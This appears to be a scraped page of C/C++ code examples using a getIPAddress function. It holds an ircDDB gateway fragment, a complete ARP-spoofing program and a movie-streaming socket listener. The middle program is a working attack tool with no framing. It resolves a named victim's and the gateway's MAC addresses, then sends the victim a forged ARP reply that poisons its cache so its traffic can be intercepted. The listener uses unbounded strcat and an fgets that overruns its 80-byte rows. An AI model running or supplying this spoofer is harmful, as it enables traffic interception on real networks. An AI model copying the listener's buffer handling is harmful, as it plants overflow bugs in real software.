	if (!tkz.HasMoreTokens())
	{
	  return;  // nothing after time string
	}

	wxString key = tkz.GetNextToken();

	if (! d->dbPattern.Matches(key))
	{
	  return; // no valid key
	}

	if (!tkz.HasMoreTokens())
	{
	  return;  // nothing after time string
	}

	wxString value = tkz.GetNextToken();

	if (! d->dbPattern.Matches(value))
	{
	  return; // no valid key
	}

	//wxLogVerbose(wxT("TABLE %d ") + key + wxT(" ") + value, tableID );


	if (tableID == 1)
	{
	  wxMutexLocker lock(d->rptrMapMutex);

	  IRCDDBAppRptrObject newRptr(dt, key, value);

	  d->rptrMap[key] = newRptr;

	  if (d->initReady)
	  {
	    wxString arearp_cs = key;
	    wxString zonerp_cs = value;

	    arearp_cs.Replace(wxT("_"), wxT(" "));
	    zonerp_cs.Replace(wxT("_"), wxT(" "));
	    zonerp_cs.SetChar(7, wxT('G'));

	    IRCMessage * m2 = new IRCMessage(wxT("IDRT_REPEATER"));
	    m2->addParam(arearp_cs);
	    m2->addParam(zonerp_cs);
	    m2->addParam(getIPAddress(value));
	    d->replyQ.putMessage(m2);
	  }
	}
	else if ((tableID == 0) && d->initReady)
	{
	  wxMutexLocker lock(d->rptrMapMutex);

	  wxString userCallsign = key;
	  wxString arearp_cs = value;
	  wxString zonerp_cs;
	  wxString ip_addr;

	  userCallsign.Replace(wxT("_"), wxT(" "));
	  arearp_cs.Replace(wxT("_"), wxT(" "));

	  if (d->rptrMap.count(value) == 1)
	  {
	    IRCDDBAppRptrObject o = d->rptrMap[value];
	    zonerp_cs = o.zonerp_cs;
	    zonerp_cs.Replace(wxT("_"), wxT(" "));
	    zonerp_cs.SetChar(7, wxT('G'));

	    ip_addr = getIPAddress(o.zonerp_cs);
	  }

	  IRCMessage * m2 = new IRCMessage(wxT("IDRT_USER"));
	  m2->addParam(userCallsign);
	  m2->addParam(arearp_cs);
	  m2->addParam(zonerp_cs);
	  m2->addParam(ip_addr); 
	  m2->addParam(tk + wxT(" ") + timeToken);
	  d->replyQ.putMessage(m2);

	}


      }
    }

}
Exemplo n.º 18
0
int main(int argc, char *argv[])
{
    char *dev;
    char errbuf[PCAP_ERRBUF_SIZE];
    pcap_t* descr;
    bpf_u_int32 pMask;
    bpf_u_int32 pNet;

    u_char packet[100];
    char *gatewayip;
    char ip[20];
    u_char mac[20];

    struct libnet_ethernet_hdr test;
    arphdr_t test2;

    struct pcap_pkthdr* pkthdr;
    u_char* data;
    u_int res;

    u_char vmac[6];
    u_char gmac[6];

    if(argc != 2){
        printf("Please input victim IP\n");
        return -1;
    }

    dev = pcap_lookupdev(errbuf);

    if(dev == NULL){
        printf("\n[%s]\n", errbuf);
        return -1;
    }

    pcap_lookupnet(dev, &pNet, &pMask, errbuf);

    descr = pcap_open_live(dev, BUFSIZ, 0, -1, errbuf);

    if(descr == NULL){
        printf("pcap_open_live() failed due to [%s]\n", errbuf);
        return -1;
    }

    getIPAddress(ip);
    getMyMacAddress(mac);
    gatewayip=getGatewayIP();

    ////////////////////////////////////////////////////////////////////////////////

    for(int i=0; i<6; i++){
        test.ether_dhost[i]=0xFF;
    }

    for(int i=0;i<6;i++){
        test.ether_shost[i]=mac[i];
    }

    test.ether_type=htons(ETHERTYPE_ARP);

    test2.htype=htons(1);
    test2.ptype=htons(ETHERTYPE_IP);
    test2.hlen=0x06;
    test2.plen=0x04;
    test2.oper=htons(ARP_REQUEST);
    for(int i=0;i<6;i++){
        test2.sha[i]=mac[i];
    }
    inet_pton(AF_INET, ip, test2.spa);
    for(int i=0;i<6;i++){
        test2.tha[i]=0x00;
    }
    inet_pton(AF_INET, argv[1], test2.tpa);

    memcpy(packet, (void *)&test, sizeof(struct libnet_ethernet_hdr));
    memcpy(packet+sizeof(struct libnet_ethernet_hdr), (void *)&test2, sizeof(arphdr_t));

    if(pcap_sendpacket(descr, packet, 42) != 0){
        fprintf(stderr,"\n Error sending the packet: %s\n", pcap_geterr(descr));
        return -1;
    }

    while((res=pcap_next_ex(descr, &pkthdr, (const u_char**)&data))>=0){
        if(res==0)
            continue;

        struct libnet_ethernet_hdr *etherhdr;
        arphdr_t *arphdr;
        char buf[20];

        etherhdr = (struct libnet_ethernet_hdr*)(data);
        data += sizeof(struct libnet_ethernet_hdr);

        arphdr = (arphdr_t*)(data);

        if (ntohs(etherhdr->ether_type) == ETHERTYPE_ARP){
            inet_ntop(AF_INET, arphdr->spa, buf, sizeof(buf));
            if(!strcmp(buf, argv[1])){
                for(int i=0;i<6;i++)
                    vmac[i]=arphdr->sha[i];
                break;
            }
        }
    }

    printf("Victim MAC Address: ");
    for (int i = 0; i < 6; i++){
        printf("%02X", vmac[i]);
        if(i == 5)
            printf("\n");
        else
            printf(":");
    }

    ///////////////////////////////////////////////////////////////////////////

    for(int i=0; i<6; i++){
        test.ether_dhost[i]=0xFF;
    }

    for(int i=0;i<6;i++){
        test.ether_shost[i]=mac[i];
    }

    test.ether_type=htons(ETHERTYPE_ARP);

    test2.htype=htons(1);
    test2.ptype=htons(ETHERTYPE_IP);
    test2.hlen=0x06;
    test2.plen=0x04;
    test2.oper=htons(ARP_REQUEST);
    for(int i=0;i<6;i++){
        test2.sha[i]=mac[i];
    }
    inet_pton(AF_INET, ip, test2.spa);
    for(int i=0;i<6;i++){
        test2.tha[i]=0x00;
    }
    inet_pton(AF_INET, gatewayip, test2.tpa);

    memcpy(packet, (void *)&test, sizeof(struct libnet_ethernet_hdr));
    memcpy(packet+sizeof(struct libnet_ethernet_hdr), (void *)&test2, sizeof(arphdr_t));

    if(pcap_sendpacket(descr, packet, 42) != 0){
        fprintf(stderr,"\n Error sending the packet: %s\n", pcap_geterr(descr));
        return -1;
    }

    while((res=pcap_next_ex(descr, &pkthdr, (const u_char**)&data))>=0){
        if(res==0)
            continue;

        struct libnet_ethernet_hdr *etherhdr;
        arphdr_t *arphdr;
        char buf[20];

        etherhdr = (struct libnet_ethernet_hdr*)(data);
        data += sizeof(struct libnet_ethernet_hdr);

        arphdr = (arphdr_t*)(data);

        if (ntohs(etherhdr->ether_type) == ETHERTYPE_ARP){
            inet_ntop(AF_INET, arphdr->spa, buf, sizeof(buf));
            if(!strcmp(buf, gatewayip)){
                for(int i=0;i<6;i++)
                    gmac[i]=arphdr->sha[i];
                break;
            }
        }
    }

    printf("Gateway MAC Address: ");
    for (int i = 0; i < 6; i++){
        printf("%02X", gmac[i]);
        if(i == 5)
            printf("\n");
        else
            printf(":");
    }

    /////////////////////////////////////////////////////////////////////////

    memset(packet, 0, sizeof(packet));

    for(int i=0; i<6; i++){
        test.ether_dhost[i]=vmac[i];
    }

    for(int i=0;i<6;i++){
        test.ether_shost[i]=mac[i];
    }

    test.ether_type=htons(ETHERTYPE_ARP);

    test2.htype=htons(1);
    test2.ptype=htons(ETHERTYPE_IP);
    test2.hlen=0x06;
    test2.plen=0x04;
    test2.oper=htons(ARP_REPLY);
    for(int i=0;i<6;i++){
        test2.sha[i]=mac[i];
    }
    inet_pton(AF_INET, gatewayip, test2.spa);
    for(int i=0;i<6;i++){
        test2.tha[i]=vmac[i];
    }
    inet_pton(AF_INET, argv[1], test2.tpa);

    memcpy(packet, (void *)&test, sizeof(struct libnet_ethernet_hdr));
    memcpy(packet+sizeof(struct libnet_ethernet_hdr), (void *)&test2, sizeof(arphdr_t));

    if(pcap_sendpacket(descr, packet, 60) != 0){
        fprintf(stderr,"\n Error sending the packet: %s\n", pcap_geterr(descr));
        return -1;
    }

    //pcap_loop(descr, -1, callback, NULL);
    return 0;
}
Exemplo n.º 19
0
/* function definition: listener()
 * listen on query port for movie requests
 * stream if found to user
 */
int listener(){
  int query_socket_id, reply_socket_id, tcp_socket_id, stream_socket_id, bytesRecv, flag_for_replay, incorrect_response_counter;
  int number_of_movies_discovered = 0;
  char query_buffer[80];
  char ip_of_stream[IP_LEN];
  char response_buffer[120];
  char list_of_movies[LIST_OF_MOVIES][80];
  char handshake_buffer[80];
  char handshake_reponse_buffer[120];
  FILE *movie_fd;
  fd_set readFrom;
  struct timeval timeout, timeout_replay;
  
  timeout.tv_sec = 5;
  timeout.tv_usec = 0;
  timeout_replay.tv_sec = 10;
  timeout_replay.tv_usec = 0;
  
  if ((movie_fd = fopen(LOCATION_OF_MOVIE_LIST, "r")) == NULL){
    perror("error: opening movie file");
    exit(2);
  }
  else{
    while (number_of_movies_discovered < LIST_OF_MOVIES 
	   && (fgets(list_of_movies[number_of_movies_discovered], 80 + 1, movie_fd)) != NULL){
      list_of_movies[number_of_movies_discovered][strlen(list_of_movies[number_of_movies_discovered]) - 1] = '\0';
      number_of_movies_discovered++;
    }
    if (fclose(movie_fd)){
      perror("error: closing file");
      exit(2);
    }
  }
  
  if (getIPAddress(ip_of_stream) < 0){
    perror("error: getting IP address");
    exit(2);
  }
  
  /* open query socket */
  if ((query_socket_id = msockcreate(RECV, ADDRESS_FOR_QUERY, PORT_FOR_QUERY)) < 0){
    perror("error: query_buffer socket creation");
    exit(2);
  }
  /* open response socket */
  if ((reply_socket_id = msockcreate(SEND, ADDRESS_FOR_REPLY, PORT_FOR_REPLY)) < 0){
    perror("error: response socket creation");
    exit(2);
  }
  /* open TCP socket */
  if ((tcp_socket_id = openAndBindStream(atoi(PORT_TO_CONNECT_ON))) < 0){
    perror("error: streaming socket creation");
    exit(2);
  }
  /* set socket to nonblocking so it can time out*/
  if (fcntl(tcp_socket_id, F_SETFL, O_NONBLOCK) < 0){
    perror("error: set nonblocking");
    exit(2);
  }
  
  while(1){
    if (mrecv(query_socket_id, query_buffer, 80 + 1) < 0){
      perror("error: receiving query");
      exit(2);
    }
    
    /* search movie array to see if queried name exists */
    if (searchForInputMovieName(query_buffer, list_of_movies, number_of_movies_discovered) == 0){
      /* movie found, send ip and port information */
      strncpy(response_buffer, query_buffer, strlen(query_buffer) + 1);
      strcat(response_buffer, ASCII_DELIMITER);
      strcat(response_buffer, ip_of_stream);
      strcat(response_buffer, ASCII_DELIMITER);
      strcat(response_buffer, PORT_TO_CONNECT_ON);
      
      sleep(1); //give client time to setup recieve port
      
      /* send response message */
      if (msend(reply_socket_id, response_buffer, strlen(response_buffer) + 1) < 0){
	perror("error: sending response_buffer");
	exit(2);
      }
      
      /* add TCP socket to readset */
      FD_ZERO(&readFrom);
      if (FD_SET(tcp_socket_id, &readFrom) < 0){
	perror("error: could not add tcp_socket_id to readset");
	exit(2);
      }
      
      //code from http://web.cs.wpi.edu/~cs4513/d14/samples/select.c was adapted
      //for the select function
      bytesRecv = select(tcp_socket_id + 1, &readFrom, NULL, NULL, &timeout);
      if (bytesRecv != 0){
	if (FD_ISSET(tcp_socket_id, &readFrom)){
	  if ((stream_socket_id = listenAndConnect(tcp_socket_id)) < 0){
	    perror("error: listening for response");
	    exit(2);
	  }
	  else{
	    do{
	      flag_for_replay = 0;
	      //start streaming movie
	      if (playMovie(stream_socket_id, query_buffer) < 0){
		perror("error: playing movie");
		exit(2);
	      }
	      
	      /* send half of a handshake */
	      if (sprintf(handshake_buffer, "%d", stream_socket_id) < 0){
		perror("error: convert stream sock to handshake");
		exit(2);
	      }
	      usleep(ACCEPT_WAIT); //wait for accept
	      if (write(stream_socket_id, handshake_buffer, 80) == -1){
		perror("error: failed to write");
		exit(2);
	      }
	      incorrect_response_counter = 0;
	      do{
		FD_ZERO(&readFrom);
		if (FD_SET(stream_socket_id, &readFrom) < 0){
		  perror("error: adding tcp_socket_id to readset");
		  exit(2);
		}
		//code from http://web.cs.wpi.edu/~cs4513/d14/samples/select.c was adapted
		//for the select function
		bytesRecv = select(stream_socket_id + 1, &readFrom, NULL, NULL, &timeout_replay);
		if (bytesRecv > 0){
		  if (FD_ISSET(stream_socket_id, &readFrom)){
		    if (read(stream_socket_id, handshake_reponse_buffer, 120) < 0){
		      perror("error: receiving handshake response");
		      exit(2);
		    }
		    /* look for handshake_buffer for each reply */
		    if (strncmp(handshake_buffer, handshake_reponse_buffer, strlen(handshake_buffer) + 1) == 0){
		      flag_for_replay++;
		      break;
		    }
		    else{
		      //incorrect response
		      incorrect_response_counter++;
		    }
		  }
		}
		else if (bytesRecv == 0){
		  break;
		}
	      } while ((bytesRecv != 0) || (incorrect_response_counter < 10));
	    } while (flag_for_replay > 0);
	    if (close(stream_socket_id) < 0){
	      perror("error: closing stream socket");
	      exit(2);
	    }
	  }
	}
      }
    }	
  }
  /* close the query socket */
  if (msockdestroy(query_socket_id) < 0){
    perror("error: query_buffer socket destruction");
    exit(2);
  }
  
  /* close the response socket */
  if (msockdestroy(reply_socket_id) < 0){
    perror("error: response socket destruction");
    exit(2);
  }
  
  /* close the TCP socket*/
  if (close(tcp_socket_id) < 0){
    perror("error: closing tcp socket");
    exit(2);
  }	
  return 0;
}